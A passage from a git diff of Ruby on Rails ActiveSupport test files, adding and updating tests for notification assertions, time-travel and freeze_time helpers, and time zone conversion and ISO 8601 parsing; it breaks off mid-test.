+++ b/activesupport/test/testing/notification_assertions_test.rb
@@ -0,0 +1,114 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+require "active_support/testing/notification_assertions"
+
+module ActiveSupport
+  module Testing
+    class NotificationAssertionsTest < ActiveSupport::TestCase
+      include NotificationAssertions
+
+      def test_assert_notification
+        assert_notification("post.submitted", title: "Cool Post") do
+          ActiveSupport::Notifications.instrument("post.submitted", title: "Cool Post")
+        end
+
+        assert_notification("post.submitted", title: "Cool Post") do # subset of payload
+          ActiveSupport::Notifications.instrument("post.submitted", title: "Cool Post", body: "Cool Body")
+        end
+
+        assert_notification("post.submitted") do # payload omitted
+          ActiveSupport::Notifications.instrument("post.submitted", title: "Cool Post")
+        end
+
+        assert_raises(Minitest::Assertion, match: /No post.submitted notifications were found/) do
+          assert_notification("post.submitted", title: "Cool Post") { nil } # no notifications
+        end
+
+        match = if RUBY_VERSION >= "3.4"
+          /No post.submitted notification with payload {title: "Cool Post"} was found/
+        else
+          /No post.submitted notification with payload {:title=>"Cool Post"} was found/
+        end
+        assert_raises(Minitest::Assertion, match:) do
+          assert_notification("post.submitted", title: "Cool Post") do
+            ActiveSupport::Notifications.instrument("post.submitted", title: "Cooler Post")
+          end
+        end
+
+        notification = assert_notification("post.submitted") do # returns notification, no payload specified
+          ActiveSupport::Notifications.instrument("post.submitted", title: "Cool Post")
+        end
+        assert_equal("post.submitted", notification.name)
+
+        notification = assert_notification("post.submitted", title: "Cool Post") do # returns notification
+          ActiveSupport::Notifications.instrument("post.submitted", title: "Cool Post")
+        end
+        assert_equal("post.submitted", notification.name)
+      end
+
+      def test_assert_notifications_count
+        assert_notifications_count("post.submitted", 1) do
+          ActiveSupport::Notifications.instrument("post.submitted", title: "Cool Post")
+        end
+
+        assert_raises(Minitest::Assertion, match: /Expected 1 instead of 2 notifications for post.submitted/) do
+          assert_notifications_count("post.submitted", 1) do
+            ActiveSupport::Notifications.instrument("post.submitted", title: "Cool Post")
+            ActiveSupport::Notifications.instrument("post.submitted", title: "Cooler Post")
+          end
+        end
+
+        assert_raises(Minitest::Assertion, match: /Expected 1 instead of 0 notifications for post.submitted/) do
+          assert_notifications_count("post.submitted", 1) { nil } # no notifications
+        end
+      end
+
+      def test_assert_no_notifications
+        assert_no_notifications("post.submitted") { nil } # no notifications
+
+        assert_raises(Minitest::Assertion, match: /Expected no notifications for post.submitted but found 1/) do
+          assert_no_notifications("post.submitted") do
+            ActiveSupport::Notifications.instrument("post.submitted", title: "Cool Post")
+          end
+        end
+
+        assert_raises(Minitest::Assertion, match: /Expected no notifications but found 1/) do
+          assert_no_notifications do
+            ActiveSupport::Notifications.instrument("post.submitted", title: "Cool Post")
+          end
+        end
+      end
+
+      def test_capture_notifications
+        notifications = capture_notifications("post.submitted") do # string pattern
+          ActiveSupport::Notifications.instrument("post.submitted", title: "Cool Post")
+        end
+
+        assert_equal(1, notifications.size)
+        assert_equal("post.submitted", notifications.first.name)
+        assert_equal({ title: "Cool Post" }, notifications.first.payload)
+
+        notifications = capture_notifications(/post\./) do # regexp pattern
+          ActiveSupport::Notifications.instrument("post.submitted", title: "Cool Post")
+        end
+
+        assert_equal(1, notifications.size)
+        assert_equal("post.submitted", notifications.first.name)
+        assert_equal({ title: "Cool Post" }, notifications.first.payload)
+
+        notifications = capture_notifications do # no pattern
+          ActiveSupport::Notifications.instrument("post.submitted", title: "Cool Post")
+        end
+
+        assert_equal(1, notifications.size)
+        assert_equal("post.submitted", notifications.first.name)
+        assert_equal({ title: "Cool Post" }, notifications.first.payload)
+
+        notifications = capture_notifications("post.submitted") { nil } # no notifications
+
+        assert_empty(notifications)
+      end
+    end
+  end
+end
diff --git a/activesupport/test/testing/test_without_assertions_test.rb b/activesupport/test/testing/test_without_assertions_test.rb
new file mode 100644
index 0000000000000..ed99df17586d4
--- /dev/null
+++ b/activesupport/test/testing/test_without_assertions_test.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+require "active_support/core_ext/object/with"
+
+module TestsWithoutAssertionsTest
+  module Tests
+    def test_without_assertions
+    end
+  end
+
+  class TestsWithoutAssertionsWarnTest < ActiveSupport::TestCase
+    module AfterTeardown
+      def after_teardown
+        _out, err = capture_io do
+          super
+        rescue RailsStrictWarnings::WarningError
+        end
+
+        assert_match(/Test is missing assertions: `test_without_assertions` .+test_without_assertions_test\.rb:\d+/, err)
+      end
+    end
+
+    include Tests
+    prepend AfterTeardown
+  end
+end
diff --git a/activesupport/test/time_travel_test.rb b/activesupport/test/time_travel_test.rb
index e0d3fb0cf5729..29bd8f71585db 100644
--- a/activesupport/test/time_travel_test.rb
+++ b/activesupport/test/time_travel_test.rb
@@ -1,24 +1,43 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 require "active_support/core_ext/date_time"
 require "active_support/core_ext/numeric/time"
+require "active_support/core_ext/string/conversions"
+require_relative "time_zone_test_helpers"
 
 class TimeTravelTest < ActiveSupport::TestCase
+  include TimeZoneTestHelpers
+
   class TimeSubclass < ::Time; end
   class DateSubclass < ::Date; end
   class DateTimeSubclass < ::DateTime; end
 
+  class TravelClass
+    include ActiveSupport::Testing::TimeHelpers
+
+    def travel_to_no_block(date)
+      travel_to(date)
+    end
+
+    def travel_to_block(date)
+      travel_to(date) { }
+    end
+  end
+
   def test_time_helper_travel
     Time.stub(:now, Time.now) do
-      begin
-        expected_time = Time.now + 1.day
-        travel 1.day
+      expected_time = Time.now + 1.day
+      travel 1.day
 
-        assert_equal expected_time.to_s(:db), Time.now.to_s(:db)
-        assert_equal expected_time.to_date, Date.today
-        assert_equal expected_time.to_datetime.to_s(:db), DateTime.now.to_s(:db)
-      ensure
-        travel_back
-      end
+      assert_equal expected_time.to_fs(:db), Time.now.to_fs(:db)
+      assert_equal expected_time.to_date, Date.today
+      assert_equal expected_time.to_datetime.to_fs(:db), DateTime.now.to_fs(:db)
+
+      assert_equal expected_time.to_fs(:db), Time.new.to_fs(:db)
+      assert_not_equal expected_time.to_fs(:db), Time.new(precision: 3).to_fs(:db)
+    ensure
+      travel_back
     end
   end
 
@@ -27,87 +46,228 @@ def test_time_helper_travel_with_block
       expected_time = Time.now + 1.day
 
       travel 1.day do
-        assert_equal expected_time.to_s(:db), Time.now.to_s(:db)
+        assert_equal expected_time.to_fs(:db), Time.now.to_fs(:db)
         assert_equal expected_time.to_date, Date.today
-        assert_equal expected_time.to_datetime.to_s(:db), DateTime.now.to_s(:db)
+        assert_equal expected_time.to_datetime.to_fs(:db), DateTime.now.to_fs(:db)
+
+        assert_equal expected_time.to_fs(:db), Time.new.to_fs(:db)
+        assert_not_equal expected_time.to_fs(:db), Time.new(precision: 3).to_fs(:db)
+        assert_equal Time.new("2000-12-31 23:59:59.567"), Time.new("2000-12-31 23:59:59.56789", precision: 3)
       end
 
-      assert_not_equal expected_time.to_s(:db), Time.now.to_s(:db)
+      assert_not_equal expected_time.to_fs(:db), Time.now.to_fs(:db)
       assert_not_equal expected_time.to_date, Date.today
-      assert_not_equal expected_time.to_datetime.to_s(:db), DateTime.now.to_s(:db)
+      assert_not_equal expected_time.to_datetime.to_fs(:db), DateTime.now.to_fs(:db)
+      assert_equal Time.new("2000-12-31 23:59:59.567"), Time.new("2000-12-31 23:59:59.56789", precision: 3)
     end
   end
 
   def test_time_helper_travel_to
     Time.stub(:now, Time.now) do
-      begin
-        expected_time = Time.new(2004, 11, 24, 01, 04, 44)
-        travel_to expected_time
+      expected_time = Time.new(2004, 11, 24, 1, 4, 44)
+      travel_to expected_time
 
-        assert_equal expected_time, Time.now
-        assert_equal Date.new(2004, 11, 24), Date.today
-        assert_equal expected_time.to_datetime, DateTime.now
-      ensure
-        travel_back
-      end
+      assert_equal expected_time, Time.now
+      assert_equal expected_time, Time.new
+      assert_not_equal expected_time, Time.new(2004, 11, 25)
+      assert_not_equal expected_time, Time.new(precision: 3)
+      assert_equal Date.new(2004, 11, 24), Date.today
+      assert_equal expected_time.to_datetime, DateTime.now
+    ensure
+      travel_back
     end
   end
 
   def test_time_helper_travel_to_with_block
     Time.stub(:now, Time.now) do
-      expected_time = Time.new(2004, 11, 24, 01, 04, 44)
+      expected_time = Time.new(2004, 11, 24, 1, 4, 44)
 
       travel_to expected_time do
         assert_equal expected_time, Time.now
+        assert_equal expected_time, Time.new
+        assert_not_equal expected_time, Time.new(precision: 3)
+        assert_not_equal expected_time, Time.new(2004, 11, 25)
         assert_equal Date.new(2004, 11, 24), Date.today
         assert_equal expected_time.to_datetime, DateTime.now
       end
 
       assert_not_equal expected_time, Time.now
+      assert_not_equal expected_time, Time.new
       assert_not_equal Date.new(2004, 11, 24), Date.today
       assert_not_equal expected_time.to_datetime, DateTime.now
     end
   end
 
+  def test_time_helper_travel_to_with_time_zone
+    with_env_tz "US/Eastern" do
+      with_tz_default ActiveSupport::TimeZone["UTC"] do
+        Time.stub(:now, Time.now) do
+          expected_time = 5.minutes.ago
+
+          travel_to 5.minutes.ago do
+            assert_equal expected_time.to_fs(:db), Time.zone.now.to_fs(:db)
+          end
+        end
+      end
+    end
+  end
+
+  def test_time_helper_travel_to_with_different_system_and_application_time_zones
+    with_env_tz "US/Eastern" do # system time zone: -05
+      expected_time_in_2021 = Time.new(2021)
+
+      with_tz_default ActiveSupport::TimeZone["Ekaterinburg"] do # application time zone: +05
+        destination_time = Time.new(2023, 12, 1, 5, 6, 7, 5 * 3600)
+
+        # All stubbed methods are expected to return values in system (-05) time zone
+        expected_utc_offset = -5 * 3600
+        expected_time = Time.new(2023, 11, 30, 19, 6, 7, expected_utc_offset)
+        expected_datetime = DateTime.new(2023, 11, 30, 19, 6, 7, -Rational(5, 24))
+        expected_date = Date.new(2023, 11, 30)
+
+        travel_to destination_time do
+          assert_equal expected_time, Time.now
+          assert_equal expected_time.to_fs(:db), Time.now.to_fs(:db)
+          assert_equal expected_utc_offset, Time.now.utc_offset
+
+          assert_equal expected_datetime, DateTime.now
+          assert_equal expected_datetime.to_fs(:db), DateTime.now.to_fs(:db)
+          assert_equal expected_utc_offset, DateTime.now.utc_offset
+
+          assert_equal expected_date, Date.today
+
+          # Time.new with no args equals to Time.now
+          assert_equal expected_time, Time.new
+          assert_equal expected_time.to_fs(:db), Time.new.to_fs(:db)
+          assert_equal expected_utc_offset, Time.new.utc_offset
+
+          # Time.new with any args falls back to original Ruby implementation
+          assert_equal expected_time_in_2021, Time.new(2021)
+          assert_equal expected_time_in_2021.to_fs(:db), Time.new(2021).to_fs(:db)
+          assert_equal expected_time_in_2021.utc_offset, Time.new(2021).utc_offset
+        end
+      end
+    end
+  end
+
+  def test_time_helper_travel_to_with_string_for_time_zone
+    with_env_tz "US/Eastern" do
+      with_tz_default ActiveSupport::TimeZone["UTC"] do
+        Time.stub(:now, Time.now) do
+          expected_time = Time.new(2004, 11, 24, 1, 4, 44)
+
+          travel_to "2004-11-24 01:04:44" do
+            assert_equal expected_time.to_fs(:db), Time.zone.now.to_fs(:db)
+          end
+        end
+      end
+    end
+  end
+
+  def test_time_helper_travel_to_with_string_and_milliseconds
+    with_env_tz "US/Eastern" do
+      with_tz_default ActiveSupport::TimeZone["UTC"] do
+        Time.stub(:now, Time.now) do
+          expected_time = Time.new(2004, 11, 24, 1, 4, 44)
+
+          travel_to "2004-11-24T01:04:44.123-05:00" do
+            assert_equal expected_time, Time.zone.now
+          end
+        end
+      end
+    end
+  end
+
+  def test_time_helper_travel_to_with_separate_class
+    travel_object = TravelClass.new
+    date1 = Date.new(2004, 11, 24)
+    date2 = Date.new(2005, 11, 24)
+
+    Time.stub(:now, now = Time.now) do
+      travel_to(date1) do
+        travel_object.travel_to_no_block(date2)
+      end
+      assert_equal now, Time.now
+
+      travel_to(date1) do
+        travel_object.travel_to_no_block(date2)
+        assert_equal date2, Date.today
+      end
+      assert_equal now, Time.now
+
+      travel_to(date1) do
+        travel_object.travel_to_block(date2)
+        assert_equal date1, Date.today
+      end
+      assert_equal now, Time.now
+    end
+  end
+
   def test_time_helper_travel_back
     Time.stub(:now, Time.now) do
-      begin
-        expected_time = Time.new(2004, 11, 24, 01, 04, 44)
+      expected_time = Time.new(2004, 11, 24, 1, 4, 44)
 
-        travel_to expected_time
-        assert_equal expected_time, Time.now
-        assert_equal Date.new(2004, 11, 24), Date.today
-        assert_equal expected_time.to_datetime, DateTime.now
-        travel_back
+      travel_to expected_time
+      assert_equal expected_time, Time.now
+      assert_equal expected_time, Time.new
+      assert_equal Date.new(2004, 11, 24), Date.today
+      assert_equal expected_time.to_datetime, DateTime.now
+      travel_back
+
+      assert_not_equal expected_time, Time.now
+      assert_not_equal expected_time, Time.new
+      assert_not_equal Date.new(2004, 11, 24), Date.today
+      assert_not_equal expected_time.to_datetime, DateTime.now
+    ensure
+      travel_back
+    end
+  end
+
+  def test_time_helper_travel_back_with_block
+    Time.stub(:now, Time.now) do
+      expected_time = Time.new(2004, 11, 24, 1, 4, 44)
 
+      travel_to expected_time
+      assert_equal expected_time, Time.now
+      assert_equal expected_time, Time.new
+      assert_equal Date.new(2004, 11, 24), Date.today
+      assert_equal expected_time.to_datetime, DateTime.now
+
+      travel_back do
         assert_not_equal expected_time, Time.now
+        assert_not_equal expected_time, Time.new
         assert_not_equal Date.new(2004, 11, 24), Date.today
         assert_not_equal expected_time.to_datetime, DateTime.now
-      ensure
-        travel_back
       end
+
+      assert_equal expected_time, Time.now
+      assert_equal expected_time, Time.new
+      assert_equal Date.new(2004, 11, 24), Date.today
+      assert_equal expected_time.to_datetime, DateTime.now
+    ensure
+      travel_back
     end
   end
 
   def test_time_helper_travel_to_with_nested_calls_with_blocks
     Time.stub(:now, Time.now) do
-      outer_expected_time = Time.new(2004, 11, 24, 01, 04, 44)
-      inner_expected_time = Time.new(2004, 10, 24, 01, 04, 44)
+      outer_expected_time = Time.new(2004, 11, 24, 1, 4, 44)
+      inner_expected_time = Time.new(2004, 10, 24, 1, 4, 44)
       travel_to outer_expected_time do
         e = assert_raises(RuntimeError) do
           travel_to(inner_expected_time) do
-            #noop
+            # noop
           end
         end
-        assert_match(/Calling `travel_to` with a block, when we have previously already made a call to `travel_to`, can lead to confusing time stubbing./, e.message)
+        assert_match(/Calling `travel_to` with a block, when we have previously already made a call to `travel_to`, can lead to confusing time stubbing\./, e.message)
       end
     end
   end
 
   def test_time_helper_travel_to_with_nested_calls
     Time.stub(:now, Time.now) do
-      outer_expected_time = Time.new(2004, 11, 24, 01, 04, 44)
-      inner_expected_time = Time.new(2004, 10, 24, 01, 04, 44)
+      outer_expected_time = Time.new(2004, 11, 24, 1, 4, 44)
+      inner_expected_time = Time.new(2004, 10, 24, 1, 4, 44)
       travel_to outer_expected_time do
         assert_nothing_raised do
           travel_to(inner_expected_time)
@@ -120,14 +280,115 @@ def test_time_helper_travel_to_with_nested_calls
 
   def test_time_helper_travel_to_with_subsequent_calls
     Time.stub(:now, Time.now) do
-      begin
-        initial_expected_time = Time.new(2004, 11, 24, 01, 04, 44)
-        subsequent_expected_time = Time.new(2004, 10, 24, 01, 04, 44)
+      initial_expected_time = Time.new(2004, 11, 24, 1, 4, 44)
+      subsequent_expected_time = Time.new(2004, 10, 24, 1, 4, 44)
+      assert_nothing_raised do
+        travel_to initial_expected_time
+        travel_to subsequent_expected_time
+
+        assert_equal subsequent_expected_time, Time.now
+
+        travel_back
+      end
+    ensure
+      travel_back
+    end
+  end
+
+  def test_time_helper_travel_to_with_usec
+    Time.stub(:now, Time.now) do
+      duration_usec = 0.1.seconds
+      traveled_time = Time.new(2004, 11, 24, 1, 4, 44) + duration_usec
+      expected_time = Time.new(2004, 11, 24, 1, 4, 44)
+
+      assert_nothing_raised do
+        travel_to traveled_time
+
+        assert_equal expected_time, Time.now
+
+        travel_back
+      end
+    ensure
+      travel_back
+    end
+  end
+
+  def test_time_helper_with_usec_true
+    Time.stub(:now, Time.now) do
+      duration_usec = 0.1.seconds
+      expected_time = Time.new(2004, 11, 24, 1, 4, 44) + duration_usec
+
+      assert_nothing_raised do
+        travel_to expected_time, with_usec: true
+
+        assert_equal expected_time.to_f, Time.now.to_f
+
+        travel 0.5, with_usec: true
+
+        assert_equal((expected_time + 0.5).to_f, Time.now.to_f)
+
+        travel_back
+      end
+    ensure
+      travel_back
+    end
+  end
+
+  def test_time_helper_travel_to_with_datetime_and_usec
+    with_env_tz "US/Eastern" do
+      with_tz_default ActiveSupport::TimeZone["UTC"] do
+        Time.stub(:now, Time.now) do
+          duration_usec = 0.1.seconds
+          traveled_time = DateTime.iso8601("2004-11-24T01:04:44.000-05:00") + duration_usec
+          expected_time = Time.new(2004, 11, 24, 1, 4, 44)
+
+          assert_nothing_raised do
+            travel_to traveled_time
+
+            assert_equal expected_time, Time.zone.now
+
+            travel_back
+          end
+        ensure
+          travel_back
+        end
+      end
+    end
+  end
+
+  def test_time_helper_travel_to_with_datetime_and_usec_true
+    with_env_tz "US/Eastern" do
+      with_tz_default ActiveSupport::TimeZone["UTC"] do
+        Time.stub(:now, Time.now) do
+          duration_usec = 0.1.seconds
+          traveled_time = DateTime.iso8601("2004-11-24T01:04:44.000-05:00") + duration_usec
+          expected_time = Time.new(2004, 11, 24, 1, 4, 44) + duration_usec
+
+          assert_nothing_raised do
+            travel_to traveled_time, with_usec: true
+
+            assert_equal expected_time, Time.now
+
+            travel_back
+          end
+        ensure
+          travel_back
+        end
+      end
+    end
+  end
+
+  def test_time_helper_travel_to_with_string_and_usec
+    with_tz_default ActiveSupport::TimeZone["UTC"] do
+      Time.stub(:now, Time.now) do
+        duration_usec = 0.1.seconds
+        traveled_time = Time.new(2004, 11, 24, 1, 4, 44) + duration_usec
+        expected_time = Time.new(2004, 11, 24, 1, 4, 44)
+
         assert_nothing_raised do
-          travel_to initial_expected_time
-          travel_to subsequent_expected_time
+          travel_to traveled_time.iso8601(3)
 
-          assert_equal subsequent_expected_time, Time.now
+          assert_equal expected_time, Time.now
 
           travel_back
         end
@@ -137,7 +398,60 @@ def test_time_helper_travel_to_with_subsequent_calls
     end
   end
 
-  def test_travel_to_will_reset_the_usec_to_avoid_mysql_rouding
+  def  test_time_helper_travel_to_with_string_and_usec_true
+    with_tz_default ActiveSupport::TimeZone["UTC"] do
+      Time.stub(:now, Time.now) do
+        duration_usec = 0.1.seconds
+        expected_time = Time.new(2004, 11, 24, 1, 4, 44) + duration_usec
+
+        assert_nothing_raised do
+          travel_to expected_time.iso8601(3), with_usec: true
+
+          assert_equal expected_time.to_f, Time.now.to_f
+
+          travel 0.5, with_usec: true
+
+          assert_equal((expected_time + 0.5).to_f, Time.now.to_f)
+
+          travel_back
+        end
+      ensure
+        travel_back
+      end
+    end
+  end
+
+  def test_time_helper_freeze_time_with_usec_true
+    # repeatedly test in case Time.now happened to actually be 0 usec
+    checks = 9.times.map do
+      freeze_time(with_usec: true) do
+        Time.now.usec != 0
+      end
+    end
+    assert_predicate checks, :any?
+  end
+
+  def test_time_helper_travel_with_subsequent_block
+    Time.stub(:now, Time.now) do
+      outer_expected_time = Time.new(2004, 11, 24, 1, 4, 44)
+      inner_expected_time = Time.new(2004, 10, 24, 1, 4, 44)
+      travel_to outer_expected_time
+
+      assert_equal outer_expected_time, Time.now
+
+      assert_nothing_raised do
+        travel_to(inner_expected_time) do
+          assert_equal inner_expected_time, Time.now
+        end
+      end
+
+      assert_equal outer_expected_time, Time.now
+    ensure
+      travel_back
+    end
+  end
+
+  def test_travel_to_will_reset_the_usec_to_avoid_mysql_rounding
     Time.stub(:now, Time.now) do
       travel_to Time.utc(2014, 10, 10, 10, 10, 50, 999999) do
         assert_equal 50, Time.now.sec
@@ -162,4 +476,40 @@ def test_time_helper_travel_with_time_subclass
       assert_equal DateTime.now.to_s, DateTimeSubclass.now.to_s
     end
   end
+
+  def test_time_helper_freeze_time
+    expected_time = Time.now
+    freeze_time
+    sleep(1)
+
+    assert_equal expected_time.to_fs(:db), Time.now.to_fs(:db)
+  ensure
+    travel_back
+  end
+
+  def test_time_helper_freeze_time_with_time_arg
+    expected_time = Time.now + 1.day
+    freeze_time expected_time
+    sleep(1)
+
+    assert_equal expected_time.to_fs(:db), Time.now.to_fs(:db)
+  ensure
+    travel_back
+  end
+
+  def test_time_helper_freeze_time_with_block
+    expected_time = Time.now
+
+    freeze_time do
+      sleep(1)
+
+      assert_equal expected_time.to_fs(:db), Time.now.to_fs(:db)
+    end
+
+    assert_operator expected_time.to_fs(:db), :<, Time.now.to_fs(:db)
+  end
+
+  def test_time_helper_unfreeze_time
+    assert_equal method(:travel_back), method(:unfreeze_time)
+  end
 end
diff --git a/activesupport/test/time_zone_test.rb b/activesupport/test/time_zone_test.rb
index 4794b55742420..e2fa0e988863f 100644
--- a/activesupport/test/time_zone_test.rb
+++ b/activesupport/test/time_zone_test.rb
@@ -1,6 +1,8 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 require "active_support/time"
-require "time_zone_test_helpers"
+require_relative "time_zone_test_helpers"
 require "yaml"
 
 class TimeZoneTest < ActiveSupport::TestCase
@@ -8,8 +10,31 @@ class TimeZoneTest < ActiveSupport::TestCase
 
   def test_utc_to_local
     zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
-    assert_equal Time.utc(1999, 12, 31, 19), zone.utc_to_local(Time.utc(2000, 1)) # standard offset -0500
-    assert_equal Time.utc(2000, 6, 30, 20), zone.utc_to_local(Time.utc(2000, 7)) # dst offset -0400
+
+    with_utc_to_local_returns_utc_offset_times false do
+      assert_equal Time.utc(1999, 12, 31, 19), zone.utc_to_local(Time.utc(2000, 1)) # standard offset -0500
+      assert_equal Time.utc(2000, 6, 30, 20), zone.utc_to_local(Time.utc(2000, 7)) # dst offset -0400
+    end
+
+    with_utc_to_local_returns_utc_offset_times true do
+      assert_equal Time.new(1999, 12, 31, 19, 0, 0, -18000), zone.utc_to_local(Time.utc(2000, 1)) # standard offset -0500
+      assert_equal Time.new(2000, 6, 30, 20, 0, 0, -14400), zone.utc_to_local(Time.utc(2000, 7)) # dst offset -0400
+    end
+  end
+
+  def test_utc_to_local_with_fractional_seconds
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    usec = Rational(1, 1000000)
+
+    with_utc_to_local_returns_utc_offset_times false do
+      assert_equal Time.utc(1999, 12, 31, 19, 0, 0, 1), zone.utc_to_local(Time.utc(2000, 1, 1, 0, 0, 0, 1)) # standard offset -0500
+      assert_equal Time.utc(2000, 6, 30, 20, 0, 0, 1), zone.utc_to_local(Time.utc(2000, 7, 1, 0, 0, 0, 1)) # dst offset -0400
+    end
+
+    with_utc_to_local_returns_utc_offset_times true do
+      assert_equal Time.new(1999, 12, 31, 19, 0, usec, -18000), zone.utc_to_local(Time.utc(2000, 1, 1, 0, 0, 0, 1)) # standard offset -0500
+      assert_equal Time.new(2000, 6, 30, 20, 0, usec, -14400), zone.utc_to_local(Time.utc(2000, 7, 1, 0, 0, 0, 1)) # dst offset -0400
+    end
   end
 
   def test_local_to_utc
@@ -20,7 +45,7 @@ def test_local_to_utc
 
   def test_period_for_local
     zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
-    assert_instance_of TZInfo::TimezonePeriod, zone.period_for_local(Time.utc(2000))
+    assert_kind_of TZInfo::TimezonePeriod, zone.period_for_local(Time.utc(2000))
   end
 
   ActiveSupport::TimeZone::MAPPING.each_key do |name|
@@ -30,6 +55,12 @@ def test_period_for_local
     end
   end
 
+  def test_period_for_local_with_ambiguous_time
+    zone = ActiveSupport::TimeZone["Moscow"]
+    period = zone.period_for_local(Time.utc(2015, 1, 1))
+    assert_equal period, zone.period_for_local(Time.utc(2014, 10, 26, 1, 0, 0))
+  end
+
   def test_from_integer_to_map
     assert_instance_of ActiveSupport::TimeZone, ActiveSupport::TimeZone[-28800] # PST
   end
@@ -38,6 +69,12 @@ def test_from_duration_to_map
     assert_instance_of ActiveSupport::TimeZone, ActiveSupport::TimeZone[-480.minutes] # PST
   end
 
+  def test_from_tzinfo_to_map
+    tzinfo = TZInfo::Timezone.get("Europe/London")
+    assert_instance_of ActiveSupport::TimeZone, ActiveSupport::TimeZone[tzinfo]
+    assert_same ActiveSupport::TimeZone[tzinfo], ActiveSupport::TimeZone[tzinfo]
+  end
+
   ActiveSupport::TimeZone.all.each do |zone|
     name = zone.name.downcase.gsub(/[^a-z]/, "_")
     define_method("test_from_#{name}_to_map") do
@@ -46,7 +83,7 @@ def test_from_duration_to_map
 
     define_method("test_utc_offset_for_#{name}") do
       period = zone.tzinfo.current_period
-      assert_equal period.utc_offset, zone.utc_offset
+      assert_equal period.base_utc_offset, zone.utc_offset
     end
   end
 
@@ -88,8 +125,15 @@ def test_unknown_timezones_delegation_to_tzinfo
     zone = ActiveSupport::TimeZone["America/Montevideo"]
     assert_equal ActiveSupport::TimeZone, zone.class
     assert_equal zone.object_id, ActiveSupport::TimeZone["America/Montevideo"].object_id
-    assert_equal Time.utc(2010, 1, 31, 22), zone.utc_to_local(Time.utc(2010, 2)) # daylight saving offset -0200
-    assert_equal Time.utc(2010, 3, 31, 21), zone.utc_to_local(Time.utc(2010, 4)) # standard offset -0300
+
+    with_utc_to_local_returns_utc_offset_times false do
+      assert_equal Time.utc(2010, 1, 31, 22), zone.utc_to_local(Time.utc(2010, 2)) # daylight saving offset -0200
+      assert_equal Time.utc(2010, 3, 31, 21), zone.utc_to_local(Time.utc(2010, 4)) # standard offset -0300
+    end
+    with_utc_to_local_returns_utc_offset_times true do
+      assert_equal Time.new(2010, 1, 31, 22, 0, 0, -7200), zone.utc_to_local(Time.utc(2010, 2)) # daylight saving offset -0200
+      assert_equal Time.new(2010, 3, 31, 21, 0, 0, -10800), zone.utc_to_local(Time.utc(2010, 4)) # standard offset -0300
+    end
   end
 
   def test_today
@@ -101,7 +145,6 @@ def test_today
     assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone["Eastern Time (US & Canada)"].today
     travel_to(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
     assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeZone["Eastern Time (US & Canada)"].today
-    travel_back
   end
 
   def test_tomorrow
@@ -113,7 +156,6 @@ def test_tomorrow
     assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeZone["Eastern Time (US & Canada)"].tomorrow
     travel_to(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
     assert_equal Date.new(2000, 1, 3), ActiveSupport::TimeZone["Eastern Time (US & Canada)"].tomorrow
-    travel_back
   end
 
   def test_yesterday
@@ -125,7 +167,6 @@ def test_yesterday
     assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeZone["Eastern Time (US & Canada)"].yesterday
     travel_to(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
     assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone["Eastern Time (US & Canada)"].yesterday
-    travel_back
   end
 
   def test_travel_to_a_date
@@ -196,6 +237,11 @@ def test_local_enforces_fall_dst_rules
     assert_equal "EDT", twz.zone
   end
 
+  def test_local_with_ambiguous_time
+    zone = ActiveSupport::TimeZone["Moscow"]
+    assert_equal Time.utc(2014, 10, 25, 22, 0, 0), zone.local(2014, 10, 26, 1, 0, 0)
+  end
+
   def test_at
     zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
     secs = 946684800.0
@@ -215,6 +261,138 @@ def test_at_with_old_date
     assert_equal secs, twz.to_f
   end
 
+  def test_at_with_microseconds
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    secs = 946684800.0
+    microsecs = 123456.789
+    twz = zone.at(secs, microsecs)
+    assert_equal zone, twz.time_zone
+    assert_equal secs, twz.to_i
+    assert_equal 123456789, twz.nsec
+  end
+
+  def test_iso8601
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.iso8601("1999-12-31T19:00:00")
+    assert_equal Time.utc(1999, 12, 31, 19), twz.time
+    assert_equal Time.utc(2000), twz.utc
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_iso8601_with_fractional_seconds
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.iso8601("1999-12-31T19:00:00.750")
+    assert_equal 750000, twz.time.usec
+    assert_equal Time.utc(1999, 12, 31, 19, 0, 0 + Rational(3, 4)), twz.time
+    assert_equal Time.utc(2000, 1, 1, 0, 0, 0 + Rational(3, 4)), twz.utc
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_iso8601_with_zone
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.iso8601("1999-12-31T14:00:00-10:00")
+    assert_equal Time.utc(1999, 12, 31, 19), twz.time
+    assert_equal Time.utc(2000), twz.utc
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_iso8601_with_invalid_string
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+
+    exception = assert_raises(ArgumentError) do
+      zone.iso8601("foobar")
+    end
+
+    assert_equal "invalid date", exception.message
+  end
+
+  def test_iso8601_with_nil
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+
+    exception = assert_raises(ArgumentError) do
+      zone.iso8601(nil)
+    end
+
+    assert_equal "invalid date", exception.message
+  end
+
+  def test_iso8601_with_missing_time_components
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.iso8601("1999-12-31")
+    assert_equal Time.utc(1999, 12, 31, 0, 0, 0), twz.time
+    assert_equal Time.utc(1999, 12, 31, 5, 0, 0), twz.utc
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_iso8601_with_old_date
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
